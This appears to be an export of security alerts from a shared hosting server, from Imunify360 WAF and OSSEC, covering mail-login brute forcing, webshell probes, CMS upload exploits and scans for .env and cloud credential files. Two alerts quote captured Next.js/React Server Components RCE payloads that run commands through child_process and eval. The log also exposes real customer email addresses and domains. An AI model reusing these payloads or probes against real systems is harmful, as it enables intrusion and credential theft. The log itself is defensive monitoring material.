name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.219.164.250
country_id: 1269750
domain: stcinemas.co
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/send.php||SC:/home/stcinemas/public_html/images/send.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.214.75.248
country_id: 298795
description:
2026-07-05 14:54:17 dovecot_login authenticator failed for H=(visaotur.sdr.gvt.net.br) [81.214.75.248]:47345: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-05 14:55:15 dovecot_login authenticator failed for H=(9.72.116.151.hathway.com) [171.244.60.35]:11761: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.249.201.4
country_id: 2542007
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/contact/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 162.251.62.66
country_id: 6252001
description:
[2026-07-05 15:01:07 +0530] info [whostmgrd] 162.251.62.66 - root "POST /cpsess8169546011/cgi/imunify/handlers/sendRequest.cgi HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [106.51.60.182] != Current IP Address [162.251.62.66]


plugin: ossec
rule: 11011
name: WHM SSO login failed
abuser: 162.251.62.66
country_id: 6252001
description:
[2026-07-05 15:01:07 +0530] info [whostmgrd] 162.251.62.66 PURGE root:ilvhlN4edHRTcNkc badpass [cookie ip check: IP address has changed: IP Address [106.51.60.182] != Current IP Address [162.251.62.66]]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.42.216
country_id: 6252001
description:
2026-07-05 15:01:31 dovecot_login authenticator failed for H=([222.76.248.54]) [71.12.42.216]:57858: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.209.30
country_id: 1269750
description:
2026-07-05 15:02:04 dovecot_login authenticator failed for H=([49.124.153.41]) [128.185.209.30]:46072: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.26
country_id: 130758
description:
2026-07-05 15:04:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.26]:60119: 535 Incorrect authentication data (set_id=biz)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 188.166.214.163
country_id: 1880251
domain: www.globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Vp_1783244399334.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 95.173.223.240
country_id: 3932488
domain: alnayza.com
name:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)

description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:index.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.146.109
country_id: 99237
description:
2026-07-05 15:11:29 dovecot_login authenticator failed for H=([65.20.217.64]) [65.20.146.109]:54698: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.196.45.10
country_id: 3017382
description:
2026-07-05 15:15:15 dovecot_login authenticator failed for H=ip10.ip-5-196-45.eu ([218.94.115.164]) [5.196.45.10]:3990: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-05 15:16:27 dovecot_login authenticator failed for H=([65.20.251.41]) [183.104.220.84]:44172: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.115.178.196
country_id: 6252001
description:
2026-07-05 15:16:05 dovecot_login authenticator failed for H=ool-4573b2c4.dyn.optonline.net (47-143-208-202.fdr01.blpk.ca.ip.frontiernet.net) [69.115.178.196]:36802: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-07-05 15:16:41 dovecot_login authenticator failed for H=(201-91-242-197.customer.tdatabrasil.net.br) [50.188.204.213]:35584: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-05 15:17:28 dovecot_login authenticator failed for H=(45-181-101-92.plugartelecom.net.br) [116.98.104.138]:41130: 535 Incorrect authentication data (set_id=webmaster@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-07-05 15:17:41 dovecot_login authenticator failed for H=([207.219.221.53]) [201.46.124.0]:2887: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.50.5.94
country_id: 1269750
description:
2026-07-05 15:18:32 dovecot_login authenticator failed for H=([1.250.67.114]) [103.50.5.94]:45688: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.89.208.174
country_id: 1605651
description:
2026-07-05 15:20:00 dovecot_login authenticator failed for H=([192.111.135.19]) [183.89.208.174]:56322: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.253.90.113
country_id: 2661886
description:
2026-07-05 15:21:09 dovecot_login authenticator failed for H=89-253-90-113.customers.ownit.se [89.253.90.113]:33170: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 72.62.155.121
country_id: 2921044
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.25||T:APACHE||MV:/wp-json/wp/v2/users/me||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.58
country_id: 1668284
description:
2026-07-05 15:22:26 dovecot_login authenticator failed for H=110-25-109-58.adsl.fetnet.net ([98.181.137.69]) [110.25.109.58]:43787: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 72.62.155.121
country_id: 2921044
domain: ahsmarine.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.255.126.94
country_id: 4566966
description:
2026-07-05 15:22:53 dovecot_login authenticator failed for H=([202.212.191.16]) [38.255.126.94]:56316: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-05 15:23:14 dovecot_login authenticator failed for H=([59.93.36.136]) [210.5.117.238]:57344: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-07-05 15:23:22 dovecot_login authenticator failed for H=([70.166.167.42]) [64.72.74.162]:46874: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.40.63
country_id: 1819730
description:
2026-07-05 15:23:31 dovecot_login authenticator failed for H=063.40.246.220.static.netvigator.com (karuna.divineled.com) [220.246.40.63]:57884: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.167.250.45
country_id: 3686110
description:
2026-07-05 15:24:04 dovecot_login authenticator failed for H=([174.64.199.85]) [45.167.250.45]:37702: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-05 15:24:05 dovecot_login authenticator failed for H=([183.171.12.224]) [125.19.163.58]:39174: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.24.110.57
country_id: 1835841
description:
2026-07-05 15:24:14 dovecot_login authenticator failed for H=(firewall01.practicetechnologies.ml.zerolag.com) [59.24.110.57]:48043: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.139.190.235
country_id: 357994
description:
2026-07-05 15:24:27 dovecot_login authenticator failed for H=([67.201.33.12]) [62.139.190.235]:43590: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.77.34
country_id: 1668284
description:
2026-07-05 15:23:39 dovecot_login authenticator failed for H=221-120-77-34.emome-ip.hinet.net (137.173.198.203.static.netvigator.com) [221.120.77.34]:55854: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.104.24.6
country_id: 3923057
description:
2026-07-05 15:24:17 dovecot_login authenticator failed for H=([218.236.107.228]) [190.104.24.6]:58802: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: modsec
rule: 77093094
abuser: 140.238.254.59
country_id: 1269750
domain: travelinbh.com
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo $((41*271))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$3:\\\"$$:constructor:constructor\"}}}||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-05 15:24:35 dovecot_login authenticator failed for H=([98.182.171.163]) [103.130.207.227]:43858: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.120
country_id: 1733045
description:
2026-07-05 15:24:52 dovecot_login authenticator failed for H=(177-174-0-3.user.vivozap.com.br) [49.124.147.120]:35624: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.220.98
country_id: 1733045
description:
2026-07-05 15:24:52 dovecot_login authenticator failed for H=([42.247.107.130]) [49.124.220.98]:44520: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.64.123.74
country_id: 3932488
description:
2026-07-05 15:27:40 dovecot_login authenticator failed for H=([178.178.194.137]) [181.64.123.74]:50980: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.248.75.84
country_id: 1861060
description:
2026-07-05 15:27:56 dovecot_login authenticator failed for H=st6996.mas4401.y-tokyo.nttpc.ne.jp ([223.105.71.106]) [160.248.75.84]:51162: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 103.245.38.203
country_id: 1643084
domain: metrodigitals.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:kill-2026.txt||RSV:8.25||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.245.38.203
country_id: 1643084
domain: metrodigitals.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:156336||Sizes:56||Combined size:56||User:metrodigitals||WPU:||Filename:kill-2026.txt||Scanned:/tmp//20260705-152857-akoq4cYMFrqPvmO52cqvxgAAAJY-file-Ypf0bM||SC:/home/metrodigitals/public_html/index.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.26
country_id: 130758
description:
2026-07-05 15:39:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.26]:43943: 535 Incorrect authentication data (set_id=bigpoppa)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.250.108
country_id: 1861060
domain: ns1.ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/index.php||SC:/var/www/html/wp-admin||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/1v1-lol-unblocked\">1v1.lol unblocked games</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-05 15:46:08 dovecot_login authenticator failed for H=(110-25-101-75.adsl.fetnet.net) [188.122.39.33]:52606: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
2026-07-05 15:47:21 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net ([72.37.216.65]) [110.25.105.240]:53021: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-07-05 15:47:29 dovecot_login authenticator failed for H=([112.162.71.248]) [64.72.74.162]:52143: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 158.51.126.144
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:158.51.126.144||TA:158.51.126.144||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-05 15:46:43 dovecot_login authenticator failed for H=([184.181.217.198]) [211.105.229.237]:59876: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.26
country_id: 1269750
description:
2026-07-05 15:47:51 dovecot_login authenticator failed for H=([59.0.127.22]) [128.185.201.26]:42040: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.53.82
country_id: 1733045
description:
2026-07-05 15:47:51 dovecot_login authenticator failed for H=([49.124.151.72]) [183.171.53.82]:41398: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.78
country_id: 99237
description:
2026-07-05 15:49:08 dovecot_login authenticator failed for H=([221.159.21.170]) [65.20.167.78]:38898: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-05 15:49:10 dovecot_login authenticator failed for H=([201.91.74.17]) [144.24.209.174]:63735: 535 Incorrect authentication data (set_id=it@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.245.7
country_id: 798544
description:
2026-07-05 15:50:30 dovecot_login authenticator failed for H=89-68-245-7.dynamic.play.pl ([72.212.176.37]) [89.68.245.7]:41400: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.157.90.252
country_id: 6251999
description:
2026-07-05 15:49:36 dovecot_login authenticator failed for H=d157-90-252.home4.cgocable.net ([49.124.149.48]) [24.157.90.252]:51662: 535 Incorrect authentication data (set_id=it)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-05 15:51:18 dovecot_login authenticator failed for H=([49.124.151.28]) [59.145.160.134]:46536: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 72.60.31.30
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/sp_1783246944_155.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 173.44.213.176
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://ace90bet.bet\">\xd8\xa7\xd9\xbe\xd9\x84\xdb\x8c\xda\xa9\xdb\x8c\xd8\xb4\xd9\x86 \xd8\xac\xd8\xa7\xd9\x85 \xd8\xac\xd9\x87\xd8\xa7\xd9\x86\xdb\x8c</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.131.63
country_id: 99237
description:
2026-07-05 16:00:39 dovecot_login authenticator failed for H=([199.116.114.10]) [65.20.131.63]:45691: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.183.103.121
country_id: 2635167
description:
2026-07-05 16:00:53 dovecot_login authenticator failed for H=([49.124.153.41]) [185.183.103.121]:40108: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-05 16:01:54 dovecot_login authenticator failed for H=([103.130.207.227]) [122.185.101.50]:50864: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-07-05 16:02:10 dovecot_login authenticator failed for H=(81.214.75.248.dynamic.ttnet.com.tr) [218.156.93.206]:60493: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.66.234.228
country_id: 3424932
description:
2026-07-05 16:09:22 dovecot_login authenticator failed for H=([98.170.57.236]) [185.66.234.228]:59222: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-05 16:09:11 dovecot_login authenticator failed for H=([220.178.246.43]) [182.78.65.154]:40012: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 51.21.219.126
country_id: 2661886
domain: reach.ddgalaxy.in
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/Yqy1_7ExmrB0MeuajlNh_GuqXz-LzAPho3NKHlJPIaI||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 13.63.44.18
country_id: 2661886
domain: www.reach.ddgalaxy.in
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/0lat8mDuTf3elIsmk-o-70T2juKKJbfEY0pFSopgbvQ||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 145.241.230.205
country_id: 2635167
domain: www.futuracare.com.au
description:
IM360 WAF: Bad file extension||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:futuracarecom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 47.83.215.78
country_id: 1819730
domain: reach.ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:ddgalaxy||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 47.81.15.95
country_id: 1605651
domain: www.reach.ddgalaxy.in
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.25||T:APACHE||MV:.env.swp||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.26
country_id: 130758
description:
2026-07-05 16:16:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.26]:25805: 535 Incorrect authentication data (set_id=sqltest-eg1)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 47.81.15.95
country_id: 1605651
domain: www.reach.ddgalaxy.in
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/storage/framework/.env||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 47.238.127.5
country_id: 1819730
domain: reach.ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/root/.config/gcloud/credentials.db||User:ddgalaxy||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.232.142.246
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:66760.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:eeaf2c219a8ca95e08a5c20f6fecc30c1740066e||Title:0xd766a961||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.240.99.156
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-indore.html\">Indore Call Girl service</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 205.169.39.13
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/127.0.6533.119 Safari/537.36||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.ibmcglobal.com
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var zq=arguments['\\\\x31'];var obk=zq;try{var _v=((0,eval)(global[[\\\"B\\\",\\\"uff\\\",\\\"e\\\",\\\"r\\\


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 157.250.206.54
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://recentlybooked.com/\">beer mugs</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.249.10.17
country_id: 1835841
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/elegantautomotiv/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.46.148.53
country_id: 1605651
description:
2026-07-05 16:30:53 dovecot_login authenticator failed for H=119-46-148-53.static.asianet.co.th ([138.118.213.204]) [119.46.148.53]:33861: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.200.95.18
country_id: 290557
description:
2026-07-05 16:31:16 dovecot_login authenticator failed for H=([103.104.127.49]) [94.200.95.18]:40254: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.144.79.102
country_id: 1269750
description:
2026-07-05 16:32:40 dovecot_login authenticator failed for H=(70.210.245.58.adsl-pool.jlccptt.net.cn) [59.144.79.102]:38684: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-05 16:32:52 dovecot_login authenticator failed for H=([111.39.167.59]) [196.188.93.169]:2138: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.205.169
country_id: 1733045
description:
2026-07-05 16:33:09 dovecot_login authenticator failed for H=([153.35.192.98]) [49.124.205.169]:40714: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.183.103.121
country_id: 2635167
description:
2026-07-05 16:36:01 dovecot_login authenticator failed for H=([49.124.146.34]) [185.183.103.121]:51954: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.116.110
country_id: 1269750
description:
2026-07-05 16:36:17 dovecot_login authenticator failed for H=(89-67-246-166.dynamic.play.pl) [122.187.116.110]:38414: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.238.122
country_id: 2542007
description:
2026-07-05 16:36:34 dovecot_login authenticator failed for H=([209.14.85.116]) [154.146.238.122]:52764: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.101.222.22
country_id: 1210997
description:
2026-07-05 16:36:51 dovecot_login authenticator failed for H=([183.171.146.7]) [165.101.222.22]:40002: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.114.134.130
country_id: 2077456
description:
2026-07-05 16:37:07 dovecot_login authenticator failed for H=([122.187.142.185]) [193.114.134.130]:60855: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-05 16:40:46 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([65.20.250.180]) [64.207.225.55]:38446: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.207.246.3
country_id: 1835841
description:
2026-07-05 16:41:34 dovecot_login authenticator failed for H=(177-215-153-215.user.vivozap.com.br) [175.207.246.3]:37514: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.112.148.66
country_id: 130758
description:
2026-07-05 16:42:19 dovecot_login authenticator failed for H=(dsl-hkibng42-50dfc8-184.dhcp.inet.fi) [185.112.148.66]:37052: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.74.34.30
country_id: 630336
description:
2026-07-05 16:42:53 dovecot_login authenticator failed for H=([49.125.201.1]) [77.74.34.30]:51207: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.252.98.159
country_id: 1835841
description:
2026-07-05 16:43:34 dovecot_login authenticator failed for H=([68.71.253.70]) [211.252.98.159]:38788: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-07-05 16:45:15 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net (119.92.76.212.static.pldt.net) [76.132.238.43]:41406: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
